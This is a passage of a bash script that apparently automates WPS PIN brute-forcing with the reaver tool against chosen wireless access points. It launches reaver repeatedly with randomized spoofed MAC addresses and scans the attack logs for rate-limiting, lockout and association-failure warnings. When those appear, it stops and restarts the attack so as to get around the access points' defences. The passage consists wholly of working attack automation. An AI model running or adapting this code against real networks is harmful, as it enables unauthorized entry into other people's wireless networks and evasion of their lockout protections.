	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R21 == y || $USE_R21 == Y ]] && [[ $USE_LONG21 == y || $USE_LONG21 == Y ]] && [[ $USE_PIN21 == y || $USE_PIN21 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME21"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL21"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP21"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX21" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY21"
echo -e "$info Reaver live time                   = $yel$LIVE21 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME21-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL21 -b $TARGETAP21 -r $RX21:$RY21 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN21 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME21-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE21-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE21 == n ] || [ $KEEP_FILE21 == N ]; then

          rm VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R22 == n || $USE_R22 == N ]] && [[ $USE_LONG22 == n || $USE_LONG22 == N ]] && [[ $USE_PIN22 == n || $USE_PIN22 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME22"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL22"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP22"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE22 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME22-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL22 -b $TARGETAP22 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME22-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE22-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R22 == y || $USE_R22 == Y ]] && [[ $USE_LONG22 == n || $USE_LONG22 == N ]] && [[ $USE_PIN22 == n || $USE_PIN22 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME22"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL22"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP22"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX22" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY22"
echo -e "$info Reaver live time                   = $yel$LIVE22 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME22-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL22 -b $TARGETAP22 -vv -x 60 -r $RX22:$RY22 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME22-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE22-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R22 == n || $USE_R22 == N ]] && [[ $USE_LONG22 == y || $USE_LONG22 == Y ]] && [[ $USE_PIN22 == n || $USE_PIN22 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME22"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL22"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP22"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE22 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME22-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL22 -b $TARGETAP22 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME22-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE22-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R22 == y || $USE_R22 == Y ]] && [[ $USE_LONG22 == y || $USE_LONG22 == Y ]] && [[ $USE_PIN22 == n || $USE_PIN22 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME22"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL22"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP22"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX22" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY22"
echo -e "$info Reaver live time                   = $yel$LIVE22 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME22-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL22 -b $TARGETAP22 -r $RX22:$RY22 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME22-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE22-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

